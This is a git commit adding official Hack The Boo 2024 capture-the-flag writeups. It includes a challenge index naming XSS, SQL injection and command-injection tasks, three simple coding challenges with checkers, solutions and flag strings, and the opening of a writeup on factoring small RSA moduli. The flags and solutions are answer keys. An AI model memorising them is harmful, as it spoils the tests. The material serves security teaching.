added official hacktheboo2024 writeups

This commit is contained in:
eplots 2024-10-23 11:10:43 +02:00
parent 1f7a9b0566
commit e3c46450f7
327 changed files with 14303 additions and 0 deletions

View file

@ -0,0 +1,28 @@
*This git was copied from the official hackthebox github for future reference*
https://github.com/hackthebox/hacktheboo-2024/tree/main
<p align='center'>
<img src='assets/logo_htb.png' alt="HTB">
</p>
# [__Challenges__](#challenges)
| Category | Name | <div style="width:760px">Objective</div> | Difficulty [⭐⭐⭐⭐⭐] |
|---------------|------------------------------------------------------------------------------------------|-------------------------------------------------------------------|-------------------------|
| **Crypto** | [brevi moduli](crypto/%5BVery%20Easy%5D%20brevi%20moduli) | Factor small RSA moduli | ⭐ |
| **Crypto** | [sekur julius](crypto/%5BVery%20Easy%5D%20sekur%20julius) | Decrypt twisted version of Caesar cipher | ⭐ |
| **Crypto** | [sugar free candies](crypto/%5BVery%20Easy%5D%20sugar%20free%20candies) | Solve system of 3 variables given 4 equations | ⭐ |
| **Web** | [phantom script](web/web_phantom_script) | Standard XSS | ⭐ |
| **Web** | [unholy union](web/web_unholy_union) | Union SQL Injection | ⭐ |
| **Web** | [void whispers](web/web_void_whispers) | Blind Command Injection | ⭐ |
| **Forensics** | [Forbidden Manuscript](forensics/%5BVery%20Easy%5D%20Forbidden%20Manuscript) | Enumerate HTTP stream and hex decode the flag | ⭐ |
| **Forensics** | [Sp00ky Theme](forensics/%5BVery%20Easy%5D%20Sp00ky%20Theme) | Malicious Plasma 6 plasmoid (widget) that executes rogue commands. | ⭐ |
| **Forensics** | [The Shortcut Haunting](forensics/%5BVery%20Easy%5D%20The%20Shortcut%20Haunting) | Find the payload embedded in an lnk file and decoding it using base64. | ⭐ |
| **Rev** | [CryptOfTheUndead](rev/%5BVery%20Easy%5D%20CryptOfTheUndead) | Reversing Encryption Algorithm | ⭐ |
| **Rev** | [Graverobber](rev/%5BVery%20Easy%5D%20Graverobber) | Using strace + scripting | ⭐ |
| **Rev** | [SpookyPass](rev/%5BVery%20Easy%5D%20SpookyPass) | Standard strings challenge | ⭐ |
| **Pwn** | [El Teteo](pwn/%5BVery%20Easy%5D%20El%20Teteo) | Shellcode execution | ⭐ |
| **Pwn** | [Mathematricks](pwn/%5BVery%20Easy%5D%20Mathematricks) | Integer overflow | ⭐ |
| **Pwn** | [Que onda](pwn/%5BVery%20Easy%5D%20Que%20onda) | Basic instructions | ⭐ |
| **Coding** | [addition](coding/%5BVery%20Easy%5D%20addition) | Given two numbers, return the sum. | ⭐ |
| **Coding** | [oddly_even](coding/%5BVery%20Easy%5D%20oddly_even) | Given a number, print "even" if it is even and "odd" if it is odd. | ⭐ |
| **Coding** | [reversal](coding/%5BVery%20Easy%5D%20reversal) | Given a string, return the reverse of the string. | ⭐ |

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

View file

@ -0,0 +1,8 @@
# Default ignored files
/shelf/
/workspace.xml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml

View file

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="PYTHON_MODULE" version="4">
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$" />
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
</module>

View file

@ -0,0 +1,36 @@
<component name="InspectionProjectProfileManager">
<profile version="1.0">
<option name="myName" value="Project Default" />
<inspection_tool class="DuplicatedCode" enabled="true" level="WEAK WARNING" enabled_by_default="true">
<Languages>
<language minSize="151" name="Python" />
</Languages>
</inspection_tool>
<inspection_tool class="Eslint" enabled="true" level="WARNING" enabled_by_default="true" />
<inspection_tool class="HtmlUnknownTag" enabled="true" level="WARNING" enabled_by_default="true">
<option name="myValues">
<value>
<list size="7">
<item index="0" class="java.lang.String" itemvalue="nobr" />
<item index="1" class="java.lang.String" itemvalue="noembed" />
<item index="2" class="java.lang.String" itemvalue="comment" />
<item index="3" class="java.lang.String" itemvalue="noscript" />
<item index="4" class="java.lang.String" itemvalue="embed" />
<item index="5" class="java.lang.String" itemvalue="script" />
<item index="6" class="java.lang.String" itemvalue="br" />
</list>
</value>
</option>
<option name="myCustomValuesEnabled" value="true" />
</inspection_tool>
<inspection_tool class="PyPep8Inspection" enabled="true" level="WEAK WARNING" enabled_by_default="true">
<option name="ignoredErrors">
<list>
<option value="E227" />
<option value="E302" />
</list>
</option>
</inspection_tool>
<inspection_tool class="TsLint" enabled="true" level="WARNING" enabled_by_default="true" />
</profile>
</component>

View file

@ -0,0 +1,6 @@
<component name="InspectionProjectProfileManager">
<settings>
<option name="USE_PROJECT_PROFILE" value="false" />
<version value="1.0" />
</settings>
</component>

View file

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Black">
<option name="sdkName" value="Python 3.11" />
</component>
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.11" project-jdk-type="Python SDK" />
</project>

View file

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/.idea/coding.iml" filepath="$PROJECT_DIR$/.idea/coding.iml" />
</modules>
</component>
</project>

View file

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="$PROJECT_DIR$/../../../.." vcs="Git" />
</component>
</project>

View file

@ -0,0 +1,7 @@
FROM registry.htbsvc.net/hackthebox/htb:coding_template
COPY --chown=root challenge/challenge.py /root/checker
COPY --chown=root challenge/flag.txt /root/checker
COPY --chown=www-data challenge/index.html /app/templates
EXPOSE 1337

View file

@ -0,0 +1,28 @@
![img](../../../../../assets/htb.png)
<img src='../../../../../assets/logo.png' style='zoom: 80%;' align=left /> <font size='10'>Addition</font>
1<sup>st</sup> October 2024
Prepared By: ir0nstone
Challenge Author(s): ir0nstone
Difficulty: <font color='green'>Very Easy</font>
# Synopsis
Given two numbers, return the sum.
## Skills Required
* Basic Python
# Solution
Take in the inputs, parse them to integers and then print the sum.
```py
a = int(input())
b = int(input())
print(a+b)
```

View file

@ -0,0 +1,3 @@
#!/bin/bash
docker build --tag=coding_addition .
docker run -p 1337:1337 --rm --name=coding_addition -it coding_addition

View file

@ -0,0 +1,6 @@
import random
def gen_question():
a, b = random.randint(1, 10_000), random.randint(1, 10_000)
return f'{a}\n{b}', f'{a+b}'

View file

@ -0,0 +1 @@
HTB{aDd1nG_4lL_tH3_waY}

View file

@ -0,0 +1,22 @@
{% extends "base.html" %}
{% block title %}
Addition
{% endblock %}
{% block content %}
<p>
Take in two numbers, \( a \) and \( b \). Return \( a + b \).
</p>
{% endblock %}
{% block example_input %}
<p>
3
4
</p>
{% endblock %}
{% block example_output %}
<p>7</p>
{% endblock %}

View file

@ -0,0 +1,4 @@
a = int(input())
b = int(input())
print(a+b)

View file

@ -0,0 +1,7 @@
FROM registry.htbsvc.net/hackthebox/htb:coding_template
COPY --chown=root challenge/challenge.py /root/checker
COPY --chown=root challenge/flag.txt /root/checker
COPY --chown=www-data challenge/index.html /app/templates
EXPOSE 1337

View file

@ -0,0 +1,34 @@
![img](../../../../../assets/htb.png)
<img src='../../../../../assets/logo.png' style='zoom: 80%;' align=left /> <font size='10'>Oddly Even</font>
1<sup>st</sup> October 2024
Prepared By: ir0nstone
Challenge Author(s): ir0nstone
Difficulty: <font color='green'>Very Easy</font>
# Synopsis
Given a number, print "even" if it is even and "odd" if it is odd.
## Skills Required
* Basic Python
# Solution
First, we take in the number:
```py
a = int(input())
```
We can then check if the number is divisible by `2`. If it is, we print "even", otherwise we print "odd".
```py
if a % 2 == 0:
print('even')
else:
print('odd')
```

View file

@ -0,0 +1,3 @@
#!/bin/bash
docker build --tag=coding_oddly_even .
docker run -p 1337:1337 --rm --name=coding_oddly_even -it coding_oddly_even

View file

@ -0,0 +1,11 @@
import random
def even_or_odd(n):
if n % 2 == 0:
return 'even'
return 'odd'
def gen_question():
n = random.randint(1, 100_000)
return f'{n}', f'{even_or_odd(n)}'

View file

@ -0,0 +1 @@
HTB{15_iT_0dD_oR_Is_iT_n0t?}

View file

@ -0,0 +1,23 @@
{% extends "base.html" %}
{% block title %}
Oddly Even
{% endblock %}
{% block content %}
<p>
Take in a number, print "odd" if odd and "even" if even.
</p>
{% endblock %}
{% block example_input %}
<p>
3
</p>
{% endblock %}
{% block example_output %}
<p>
odd
</p>
{% endblock %}

View file

@ -0,0 +1,6 @@
a = int(input())
if a % 2 == 0:
print('even')
else:
print('odd')

View file

@ -0,0 +1,7 @@
FROM registry.htbsvc.net/hackthebox/htb:coding_template
COPY --chown=root challenge/challenge.py /root/checker
COPY --chown=root challenge/flag.txt /root/checker
COPY --chown=www-data challenge/index.html /app/templates
EXPOSE 1337

View file

@ -0,0 +1,27 @@
![img](../../../../../assets/htb.png)
<img src='../../../../../assets/logo.png' style='zoom: 80%;' align=left /> <font size='10'>Reversal</font>
1<sup>st</sup> October 2024
Prepared By: ir0nstone
Challenge Author(s): ir0nstone
Difficulty: <font color='green'>Very Easy</font>
# Synopsis
Given a string, return the reverse of the string.
## Skills Required
* Basic Python
# Solution
We take in the string, and then we reverse it.
```py
s = input()
print(s[::-1])
```

View file

@ -0,0 +1,3 @@
#!/bin/bash
docker build --tag=coding_reversal .
docker run -p 1337:1337 --rm --name=coding_reversal -it coding_reversal

View file

@ -0,0 +1,7 @@
import random
def gen_question():
with open('story.txt') as f:
text = random.choice(f.readlines()).strip()
return f'{text}', f'{text[::-1]}'

View file

@ -0,0 +1 @@
HTB{r3VerS4l?_wElL_1_n3vEr}

View file

@ -0,0 +1,23 @@
{% extends "base.html" %}
{% block title %}
Reverse
{% endblock %}
{% block content %}
<p>
Take in a string. Print the reverse.
</p>
{% endblock %}
{% block example_input %}
<p>
Test me
</p>
{% endblock %}
{% block example_output %}
<p>
em tseT
</p>
{% endblock %}

View file

@ -0,0 +1,235 @@
Towards the end of November, during a thaw, at nine o'clock one morning, a train on the Warsaw and Petersburg railway was approaching the latter city at full speed.
The morning was so damp and misty that it was only with great difficulty that the day succeeded in breaking; and it was impossible to distinguish anything more than a few yards away from the carriage windows.
Some of the passengers by this particular train were returning from abroad; but the third-class carriages were the best filled, chiefly with insignificant persons of various occupations and degrees, picked up at the different stations nearer town.
All of them seemed weary, and most of them had sleepy eyes and a shivering expression, while their complexions generally appeared to have taken on the colour of the fog outside.
When day dawned, two passengers in one of the third-class carriages found themselves opposite each other.
Both were young fellows, both were rather poorly dressed, both had remarkable faces, and both were evidently anxious to start a conversation.
If they had but known why, at this particular moment, they were both remarkable persons, they would undoubtedly have wondered at the strange chance which had set them down opposite to one another in a third-class carriage of the Warsaw Railway Company.
One of them was a young fellow of about twenty-seven, not tall, with black curling hair, and small, grey, fiery eyes.
His nose was broad and flat, and he had high cheek bones; his thin lips were constantly compressed into an impudent, ironical--it might almost be called a malicious--smile; but his forehead was high and well formed, and atoned for a good deal of the ugliness of the lower part of his face.
A special feature of this physiognomy was its death-like pallor, which gave to the whole man an indescribably emaciated appearance in spite of his hard look, and at the same time a sort of passionate and suffering expression which did not harmonize with his impudent, sarcastic smile and keen, self-satisfied bearing.
He wore a large fur--or rather astrachan--overcoat, which had kept him warm all night, while his neighbour had been obliged to bear the full severity of a Russian November night entirely unprepared.
His wide sleeveless mantle with a large cape to it--the sort of cloak one sees upon travellers during the winter months in Switzerland or North Italy--was by no means adapted to the long cold journey through Russia, from Eydkuhnen to St. Petersburg.
The wearer of this cloak was a young fellow, also of about twenty-six or twenty-seven years of age, slightly above the middle height, very fair, with a thin, pointed and very light coloured beard; his eyes were large and blue, and had an intent look about them, yet that heavy expression which some people affirm to be a peculiarity, as well as evidence, of an epileptic subject.
His face was decidedly a pleasant one for all that; refined, but quite colourless, except for the circumstance that at this moment it was blue with cold.
He held a bundle made up of an old faded silk handkerchief that apparently contained all his travelling wardrobe, and wore thick shoes and gaiters, his whole appearance being very un-Russian.
His black-haired neighbour inspected these peculiarities, having nothing better to do, and at length remarked, with that rude enjoyment of the discomforts of others which the common classes so often show: "Cold?"
"Very," said his neighbour, readily.
"And this is a thaw, too.
Fancy if it had been a hard frost!
I never thought it would be so cold in the old country.
I've grown quite out of the way of it."
"What, been abroad, I suppose?"
"Yes, straight from Switzerland."
"Wheugh! my goodness!" The black-haired young fellow whistled, and then laughed.
The conversation proceeded.
The readiness of the fair-haired young man in the cloak to answer all his opposite neighbour's questions was surprising.
He seemed to have no suspicion of any impertinence or inappropriateness in the fact of such questions being put to him.
Replying to them, he made known to the inquirer that he certainly had been long absent from Russia, more than four years; that he had been sent abroad for his health; that he had suffered from some strange nervous malady--a kind of epilepsy, with convulsive spasms.
His interlocutor burst out laughing several times at his answers; and more than ever, when to the question, "whether he had been cured?" the patient replied: "No, they did not cure me."
"Hey!
that's it!
You stumped up your money for nothing, and we believe in those fellows, here!" remarked the black-haired individual, sarcastically.
"Gospel truth, sir, Gospel truth!" exclaimed another passenger, a shabbily dressed man of about forty, who looked like a clerk, and possessed a red nose and a very blotchy face.
"Gospel truth!
All they do is to get hold of our good Russian money free, gratis, and for nothing."
"Oh, but you're quite wrong in my particular instance," said the Swiss patient, quietly.
"Of course I can't argue the matter, because I know only my own case; but my doctor gave me money--and he had very little--to pay my journey back, besides having kept me at his own expense, while there, for nearly two years."
"Why?
Was there no one else to pay for you?" asked the black-haired one.
"No--Mr. Pavlichev, who had been supporting me there, died a couple of years ago.
I wrote to Mrs. General Epanchin at the time (she is a distant relative of mine), but she did not answer my letter.
And so eventually I came back."
"And where have you come to?"
"That is--where am I going to stay?
I--I really don't quite know yet, I--"
Both the listeners laughed again.
"I suppose your whole set-up is in that bundle, then?" asked the first.
"I bet anything it is!" exclaimed the red-nosed passenger, with extreme satisfaction, "and that he has precious little in the luggage van!--though of course poverty is no crime--we must remember that!"
It appeared that it was indeed as they had surmised.
The young fellow hastened to admit the fact with wonderful readiness.
"Your bundle has some importance, however," continued the clerk, when they had laughed their fill (it was observable that the subject of their mirth joined in the laughter when he saw them laughing); "for though I dare say it is not stuffed full of friedrichs d'or and louis d'or--judge from your costume and gaiters--still--if you can add to your possessions such a valuable property as a relation like Mrs. General Epanchin, then your bundle becomes a significant object at once.
That is, of course, if you really are a relative of Mrs. Epanchin's, and have not made a little error through--well, absence of mind, which is very common to human beings; or, say--through a too luxuriant fancy?"
"Oh, you are right again," said the fair-haired traveller, "for I really am almost wrong when I say she and I are related.
She is hardly a relation at all; so little, in fact, that I was not in the least surprised to have no answer to my letter.
I expected as much."
"H'm!
you spent your postage for nothing, then.
H'm!
you are candid, however--and that is commendable.
H'm!
Mrs. Epanchin--oh yes!
a most eminent person.
I know her.
As for Mr. Pavlichev, who supported you in Switzerland, I know him too--at least, if it was Nicolai Andreevitch of that name?
A fine fellow he was--and had a property of four thousand souls in his day."
"Yes, Nicolai Andreevitch--that was his name," and the young fellow looked earnestly and with curiosity at the all-knowing gentleman with the red nose.
This sort of character is met with pretty frequently in a certain class.
They are people who know everyone--that is, they know where a man is employed, what his salary is, whom he knows, whom he married, what money his wife had, who are his cousins, and second cousins, etc., etc.
These men generally have about a hundred pounds a year to live on, and they spend their whole time and talents in the amassing of this style of knowledge, which they reduce--or raise--to the standard of a science.
During the latter part of the conversation the black-haired young man had become very impatient.
He stared out of the window, and fidgeted, and evidently longed for the end of the journey.
He was very absent; he would appear to listen-and heard nothing; and he would laugh of a sudden, evidently with no idea of what he was laughing about.
"Excuse me," said the red-nosed man to the young fellow with the bundle, rather suddenly; "whom have I the honour to be talking to?"
"Prince Lev Nicolaevich Myshkin," replied the latter, with perfect readiness.
"Prince Myshkin?
Lev Nicolaevich?
H'm!
I don't know, I'm sure!
I may say I have never heard of such a person," said the clerk, thoughtfully.
"At least, the name, I admit, is historical.
Karamsin must mention the family name, of course, in his history--but as an individual--one never hears of any Prince Myshkin nowadays."
"Of course not," replied the prince; "there are none, except myself.
I believe I am the last and only one.
As to my forefathers, they have always been a poor lot; my own father was a sublieutenant in the army.
I don't know how Mrs. Epanchin comes into the Myshkin family, but she is descended from the Princess Myshkin, and she, too, is the last of her line."
"And did you learn science and all that, with your professor over there?" asked the black-haired passenger.
"Oh yes--I did learn a little, but--"
"I've never learned anything whatever," said the other.
"Oh, but I learned very little, you know!" added the prince, as though excusing himself.
"They could not teach me very much on account of my illness."
"Do you know the Rogozins?" asked his questioner, abruptly.
"No, I don't--not at all!
I hardly know anyone in Russia.
Why, is that your name?"
"Yes, I am Rogozin, Parfyon Rogozin."
"Parfyon Rogozin?
dear me--then don't you belong to those very Rogozins, perhaps--" began the clerk, with a very perceptible increase of civility in his tone.
"Yes--those very ones," interrupted Rogozin, impatiently, and with scant courtesy.
I may remark that he had not once taken any notice of the blotchy-faced passenger, and had hitherto addressed all his remarks direct to the prince.
"Dear me--is it possible?" observed the clerk, while his face assumed an expression of great deference and servility--if not of absolute alarm: "what, a son of that very Semen Rogozin--hereditary honourable citizen--who died a month or so ago and left two million and a half of roubles?"
"And how do you know that he left two million and a half of roubles?" asked Rogozin, disdainfully, and no deigning so much as to look at the other.
"However, it's true enough that my father died a month ago, and that here am I returning from Pskoff, a month after, with hardly a boot to my foot.
They've treated me like a dog!
I've been ill of fever at Pskoff the whole time, and not a line, nor farthing of money, have I received from my mother or my confounded brother!"
"And now you'll have a million roubles, at least--goodness gracious me!" exclaimed the clerk, rubbing his hands.
"Five weeks since, I was just like yourself," continued Rogozin, addressing the prince, "with nothing but a bundle and the clothes I wore.
I ran away from my father and came to Pskoff to my aunt's house, where I caved in at once with fever, and he went and died while I was away.
All honour to my respected father's memory--but he uncommonly nearly killed me, all the same.
Give you my word, prince, if I hadn't cut and run then, when I did, he'd have murdered me like a dog."
"I suppose you angered him somehow?" asked the prince, looking at the millionaire with considerable curiosity.
But though there may have been something remarkable in the fact that this man was heir to millions of roubles there was something about him which surprised and interested the prince more than that.
Rogozin, too, seemed to have taken up the conversation with unusual alacrity.
It appeared that he was still in a considerable state of excitement, if not absolutely feverish, and was in real need of someone to talk to for the mere sake of talking, as safety-valve to his agitation.
As for his red-nosed neighbour, the latter--since the information as to the identity of Rogozin--hung over him, seemed to be living on the honey of his words and in the breath of his nostrils, catching at every syllable as though it were a pearl of great price.
"Oh, yes; I angered him--I certainly did anger him," replied Rogozin.
"But what puts me out so is my brother.
Of course my mother couldn't do anything--she's too old--and whatever brother Senka says is law for her!
But why couldn't he let me know?
He sent a telegram, they say.
What's the good of a telegram?
It frightened my aunt so that she sent it back to the office unopened, and there it's been ever since!
It's only thanks to Konief that I heard at all; he wrote me all about it.
He says my brother cut off the gold tassels from my father's coffin, at night because they're worth a lot of money!' says he.
Why, I can get him sent off to Siberia for that alone, if I like; it's sacrilege.
Here, you--scarecrow!" he added, addressing the clerk at his side, "is it sacrilege or not, by law?"
"Sacrilege, certainly--certainly sacrilege," said the latter.
"And it's Siberia for sacrilege, isn't it?"
"Undoubtedly so; Siberia, of course!"
"They will think that I'm still ill," continued Rogozin to the prince, "but I sloped off quietly, seedy as I was, took the train and came away.
Aha, brother Senka, you'll have to open your gates and let me in, my boy!
I know he told tales about me to my father--I know that well enough but I certainly did rile my father about Nastasia Filipovna that's very sure, and that was my own doing."
"Nastasia Filipovna?" said the clerk, as though trying to think out something.
"Come, you know nothing about her," said Rogozin, impatiently.
"And supposing I do know something?" observed the other, triumphantly.
"Bosh!
there are plenty of Nastasia Filipovnas.
And what an impertinent beast you are!" he added angrily.
"I thought some creature like you would hang on to me as soon as I got hold of my money."
"Oh, but I do know, as it happens," said the clerk in an aggravating manner.
"Lebedev knows all about her.
You are pleased to reproach me, your excellency, but what if I prove that I am right after all?
Nastasia Filipovna's family name is Barashkoff--I know, you see-and she is a very well known lady, indeed, and comes of a good family, too.
She is connected with one Totski, Afanasy Ivanovitch, a man of considerable property, a director of companies, and so on, and a great friend of General Epanchin, who is interested in the same matters as he is."
"My eyes!" said Rogozin, really surprised at last.
"The devil take the fellow, how does he know that?"
"Why, he knows everything--Lebedev knows everything!
I was a month or two with Lihachof after his father died, your excellency, and while he was knocking about--he's in the debtor's prison now--I was with him, and he couldn't do a thing without Lebedev; and I got to know Nastasia Filipovna and several people at that time."
"Nastasia Filipovna?
Why, you don't mean to say that she and Lihachof--" cried Rogozin, turning quite pale.
"No, no, no, no, no!
Nothing of the sort, I assure you!" said Lebedev, hastily.
"Oh dear no, not for the world!
Totski's the only man with any chance there.
Oh, no!
He takes her to his box at the opera at the French theatre of an evening, and the officers and people all look at her and say, 'By Jove, there's the famous Nastasia Filipovna!' but no one ever gets any further than that, for there is nothing more to say."
"Yes, it's quite true," said Rogozin, frowning gloomily; "so Zaleshov told me.
I was walking about the Nevsky one fine day, prince, in my father's old coat, when she suddenly came out of a shop and stepped into her carriage.
I swear I was all of a blaze at once.
Then I met Zaleshov--looking like a hair-dresser's assistant, got up as fine as I don't know who, while I looked like a tinker.
'Don't flatter yourself, my boy,' said he; 'she's not for such as you; she's a princess, she is, and her name is Nastasia Filipovna Barashkoff, and she lives with Totski, who wishes to get rid of her because he's growing rather old--fifty- five or so--and wants to marry a certain beauty, the loveliest woman in all Petersburg.'
And then he told me that I could see Nastasia Filipovna at the opera-house that evening, if I liked, and described which was her box.
Well, I'd like to see my father allowing any of us to go to the theatre; he'd sooner have killed us, any day.
However, I went for an hour or so and saw Nastasia Filipovna, and I never slept a wink all night after.
Next morning my father happened to give me two government loan bonds to sell, worth nearly five thousand roubles each.
'Sell them,' said he, 'and then take seven thousand five hundred roubles to the office, give them to the cashier, and bring me back the rest of the ten thousand, without looking in anywhere on the way; look sharp, I shall be waiting for you.'
Well, I sold the bonds, but I didn't take the seven thousand roubles to the office; I went straight to the English shop and chose a pair of earrings, with a diamond the size of a nut in each.
They cost four hundred roubles more than I had, so I gave my name, and they trusted me.
With the earrings I went at once to Zaleshov's.
'Come on!' I said, 'come on to Nastasia Filipovna's,' and off we went without more ado.
I tell you I hadn't a notion of what was about me or before me or below my feet all the way; I saw nothing whatever.
We went straight into her drawing-room, and then she came out to us.
"I didn't say right out who I was, but Zaleshov said: 'From Parfyon Rogozin, in memory of his first meeting with you yesterday; be so kind as to accept these!'
"She opened the parcel, looked at the earrings, and laughed.
"'Thank your friend Mr. Rogozin for his kind attention,' says she, and bowed and went off.
Why didn't I die there on the spot?
The worst of it all was, though, that the beast Zaleshov got all the credit of it!
I was short and abominably dressed, and stood and stared in her face and never said a word, because I was shy, like an ass!
And there was he all in the fashion, pomaded and dressed out, with a smart tie on, bowing and scraping; and I bet anything she took him for me all the while!
"'Look here now,' I said, when we came out, 'none of your interference here after this-do you understand?'
He laughed: 'And how are you going to settle up with your father?' says he.
I thought I might as well jump into the Neva at once without going home first; but it struck me that I wouldn't, after all, and I went home feeling like one of the damned."
"My goodness!" shivered the clerk.
"And his father," he added, for the prince's instruction, "and his father would have given a man a ticket to the other world for ten roubles any day--not to speak of ten thousand!"
The prince observed Rogozin with great curiosity; he seemed paler than ever at this moment.
"What do you know about it?" cried the latter.
"Well, my father learned the whole story at once, and Zaleshov blabbed it all over the town besides.
So he took me upstairs and locked me up, and swore at me for an hour.
'This is only a foretaste,' says he; 'wait a bit till night comes, and I'll come back and talk to you again.'
"Well, what do you think?
The old fellow went straight off to Nastasia Filipovna, touched the floor with his forehead, and began blubbering and beseeching her on his knees to give him back the diamonds.
So after awhile she brought the box and flew out at him.
'There,' she says, 'take your earrings, you wretched old miser; although they are ten times dearer than their value to me now that I know what it must have cost Parfyon to get them!
Give Parfyon my compliments,' she says, 'and thank him very much!'
Well, I meanwhile had borrowed twenty-five roubles from a friend, and off I went to Pskoff to my aunt's.
The old woman there lectured me so that I left the house and went on a drinking tour round the public-houses of the place.
I was in a high fever when I got to Pskoff, and by nightfall I was lying delirious in the streets somewhere or other!"
"Oho!
we'll make Nastasia Filipovna sing another song now!" giggled Lebedev, rubbing his hands with glee.
"Hey, my boy, we'll get her some proper earrings now!
We'll get her such earrings that--"
"Look here," cried Rogozin, seizing him fiercely by the arm, "look here, if you so much as name Nastasia Filipovna again, I'll tan your hide as sure as you sit there!"
"Aha!
do--by all means!
if you tan my hide you won't turn me away from your society.
You'll bind me to you, with your lash, for ever.
Ha, ha!
here we are at the station, though."
Sure enough, the train was just steaming in as he spoke.
Though Rogozin had declared that he left Pskoff secretly, a large collection of friends had assembled to greet him, and did so with profuse waving of hats and shouting.
"Why, there's Zaleshov here, too!" he muttered, gazing at the scene with a sort of triumphant but unpleasant smile.
Then he suddenly turned to the prince: "Prince, I don't know why I have taken a fancy to you; perhaps because I met you just when I did.
But no, it can't be that, for I met this fellow" (nodding at Lebedev) "too, and I have not taken a fancy to him by any means.
Come to see me, prince; we'll take off those gaiters of yours and dress you up in a smart fur coat, the best we can buy.
You shall have a dress coat, best quality, white waistcoat, anything you like, and your pocket shall be full of money.
Come, and you shall go with me to Nastasia Filipovna's.
Now then will you come or no?"
"Accept, accept, Prince Lev Nicolaevich" said Lebedev solemnly; "don't let it slip!
Accept, quick!"
Prince Myshkin rose and stretched out his hand courteously, while he replied with some cordiality: "I will come with the greatest pleasure, and thank you very much for taking a fancy to me.
I dare say I may even come today if I have time, for I tell you frankly that I like you very much too.
I liked you especially when you told us about the diamond earrings; but I liked you before that as well, though you have such a dark-clouded sort of face.
Thanks very much for the offer of clothes and a fur coat; I certainly shall require both clothes and coat very soon.
As for money, I have hardly a copeck about me at this moment."
"You shall have lots of money; by the evening I shall have plenty; so come along!"
"That's true enough, he'll have lots before evening!" put in Lebedev.
"But, look here, are you a great hand with the ladies?
Let's know that first?" asked Rogozin.
"Oh no, oh no!
said the prince; "I couldn't, you know--my illness--I hardly ever saw a soul."
"H'm!
well--here, you fellow-you can come along with me now if you like!" cried Rogozin to Lebedev, and so they all left the carriage.
Lebedev had his desire.
He went off with the noisy group of Rogozin's friends towards the Voznesensky, while the prince's route lay towards the Litaynaya.
It was damp and wet.
The prince asked his way of passers-by, and finding that he was a couple of miles or so from his destination, he determined to take a droshky.

View file

@ -0,0 +1,8 @@
Author: ir0nstone
Story is the start of The Idiot, but with the names changed to Russian.
https://www.online-literature.com/dostoevsky/idiot/1/
Can change to something more spooky.
Docker image: `coding_reversal_hacktheboo`

View file

@ -0,0 +1,3 @@
s = input()
print(s[::-1])

View file

@ -0,0 +1,18 @@
FROM python:3.9-slim-buster
RUN apt update
RUN apt install -y socat
RUN pip install pycryptodome
# Add application
WORKDIR /challenge
COPY challenge .
# Expose the port
EXPOSE 1337
# Switch to use a non-root user from here on
USER nobody
# Start the python application
CMD ["socat", "-dd", "TCP-LISTEN:1337,reuseaddr,fork", "exec:python -u /challenge/server.py"]

View file

@ -0,0 +1,35 @@
default:
ifdef name
@cd challenge; \
mkdir -p ../release/crypto_$(name); \
cp server.py ../release/crypto_$(name); \
@cd release; \
zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \
unzip -l ./crypto_$(name).zip;
@echo [+] Challenge was built successfully.
else
@echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\"
endif
flag:
@echo [+] Flag : $$(cd challenge; python3 -c 'print(open("flag.txt").read())')
solver:
@echo [+] Running solver
@cd htb ; \
sage -python3 solver.py
@find ./ -name "*.sage.py" -type f -delete
solver_remote:
@echo [+] Running remote solver
./build-docker.sh
@sage -python3 htb/solver.py REMOTE localhost:1337
test: clean default flag solver solver_remote
clean:
@rm -rf release/*
@find . -name "*.sage.py" -type f -delete
@echo [+] Challenge release deleted successfully.

View file

@ -0,0 +1,193 @@
![img](../../../../../assets/htb.png)
<img src='../../../../../assets/logo.png' style='zoom: 80%;' align=left /><font size='5'>brevi moduli</font>
25<sup>th</sup> September 2024 / Document No. D24.102.XX
Prepared By: `rasti`
Challenge Author(s): `rasti`
Difficulty: <font color=lightgreen>Very Easy</font>
Classification: Official
# Synopsis
- `brevi moduli` is a very easy challenge. The player has to pass five rounds to get the flag. At each round, they will have to submit the prime factors $p, q$ of a 220-bit RSA modulus. Since the modulus is small, it can be factored by most tools, such as SageMath.
## Description
- On a cold Halloween night, five adventurers gathered at the entrance of an ancient crypt. The Cryptkeeper appeared from the shadows, his voice a chilling whisper: "Five locks guard the treasure inside. Crack them, and the crypt is yours." One by one, they unlocked the crypt's secrets, but as the final door creaked open, the Cryptkeeper's eerie laughter filled the air. "Beware, for not all who enter leave unchanged."
## Skills Required
- Know how to interact with TCP servers using pwntools.
- Very basic knowledge of the RSA cryptosystem and the Integer Factorization problem.
## Skills Learned
- Learn how to factor small RSA moduli with SageMath (or any other tool).
# Enumeration
In this challenge, we are provided with just a single file:
- `server.py` : This is the python script that runs when we connect to the challenge instance.
## Analyzing the source code
Let us first analyze the server code.
```python
rounds = 5
e = 65537
for i in range(rounds):
print('*'*10, f'Round {i+1}/{rounds}', '*'*10)
p = getPrime(110)
q = getPrime(110)
n = p * q
pubkey = RSA.construct((n, e)).exportKey()
print(f'\nCan you crack this RSA public key?\n{pubkey.decode()}\n')
assert isPrime(_p := int(input('enter p = '))), exit()
assert isPrime(_q := int(input('enter q = '))), exit()
if n != _p * _q:
print('wrong! bye...')
exit()
print()
print(open('flag.txt').read())
```
To get the flag, we have to pass 5 rounds successfully. At each round, we are provided with an RSA public key and the task is to provide the prime factors $p, q$ of the modulus $N$. The value of the public exponent, namely $e$, is fixed to the standardized value $65537$.
# Solution
## Finding the vulnerability
The security of the RSA cryptosystem, lies entirely on the hardness of solving the Integer Factorization problem. In simple words, this problem can be summarized as:
